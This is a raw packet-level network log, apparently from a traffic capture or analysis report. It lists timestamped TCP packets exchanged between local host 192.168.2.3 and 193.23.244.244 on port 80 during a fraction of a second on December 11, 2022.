Dec 11, 2022 09:26:40.558165073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558271885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558322906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558336973 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558367014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558397055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558424950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558445930 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558454037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558479071 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558481932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558516026 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558532953 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558535099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558576107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558588982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558614969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558655024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558677912 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558690071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558726072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558752060 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558763981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558800936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558820963 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.569900990 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.569955111 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.569976091 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580461979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580523968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580564976 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580566883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580610037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580625057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580652952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580694914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580705881 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580741882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580769062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580792904 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580826044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580868006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580873013 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580909014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580950022 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.580976963 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.580991983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.581032991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.581043959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.581073999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.581118107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.581120968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.581160069 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.581212044 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.587363005 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587426901 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587469101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587508917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587526083 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.587543964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587573051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.587613106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587663889 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.587712049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587894917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.587946892 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588090897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588118076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588162899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588171959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588205099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588246107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588263035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588295937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588337898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588344097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588390112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588443995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588449955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588500023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588542938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588558912 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588582993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588624001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588641882 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588664055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588704109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588713884 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588745117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588784933 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588808060 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588824987 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588866949 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588876963 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588907003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588948965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.588953972 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.588989973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589029074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589042902 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589078903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589123964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589129925 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589164019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589205027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589219093 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589245081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589287996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589293003 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589332104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589370966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589382887 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589432955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589482069 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589484930 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589525938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589569092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589584112 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.589612007 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.589687109 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.598269939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.598354101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.598437071 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.609050035 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609097004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609162092 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.609313965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609363079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609404087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609421015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.609565020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609600067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609636068 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.609653950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609694958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609705925 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.609736919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609778881 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609785080 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.609821081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609853983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609884977 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609926939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609966993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.609986067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.610008001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.610016108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.610049963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.610140085 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.618019104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618069887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618172884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618215084 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618256092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618289948 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.618298054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618289948 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.618340015 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618360996 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.618406057 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618463039 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.618604898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618716955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618767977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.618896008 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618949890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618993044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.618997097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619035006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619074106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619081020 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619117975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619159937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619168043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619199038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619240046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619246960 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619281054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619322062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619330883 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619364023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619404078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619411945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619443893 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619484901 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619494915 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619524956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619565964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619576931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619606972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619649887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619656086 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619692087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619731903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619740963 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619772911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619813919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619824886 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619853973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619894981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619903088 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.619935989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619976997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.619990110 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.620018959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620059967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620066881 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.620104074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620145082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620182991 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.620187044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620229006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620244026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.620271921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.620321035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.626611948 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.626657009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.626729965 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.638501883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638665915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638711929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638751030 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.638753891 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638797045 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638804913 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.638859034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638925076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.638925076 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.638969898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639012098 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639023066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.639055967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639107943 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.639117002 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639161110 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639202118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639215946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.639246941 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639277935 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639308929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639348030 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.639350891 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639373064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.639394045 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.639441013 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.648489952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.648545980 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.648588896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.648605108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.648629904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.648675919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.648722887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.648974895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649003029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649050951 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649070024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649215937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649266005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649302959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649344921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649385929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649390936 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649426937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649466991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649471998 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649508953 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649550915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649565935 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649600029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649641037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649641991 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649682999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649723053 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649729967 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649763107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649804115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649820089 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649842978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649883986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649903059 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.649924040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649965048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.649967909 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650007010 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650047064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650048971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650088072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650130033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650130987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650170088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650209904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650213957 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650250912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650290966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650293112 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650332928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650373936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650377035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650414944 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650466919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650470018 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650507927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650547981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650549889 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650588989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650629044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650636911 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.650671959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.650717020 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.651942968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.653238058 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.679337025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.679444075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.679569960 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.679580927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.679724932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.679785013 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.679837942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680088997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680144072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680145025 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680186033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680227995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680233955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680269957 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680310965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680318117 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680351973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680393934 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680402994 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680435896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680479050 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680484056 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680530071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680571079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680581093 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680612087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680651903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680660009 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680692911 CET	80	49738	193.23.244.244	192.168.2.3
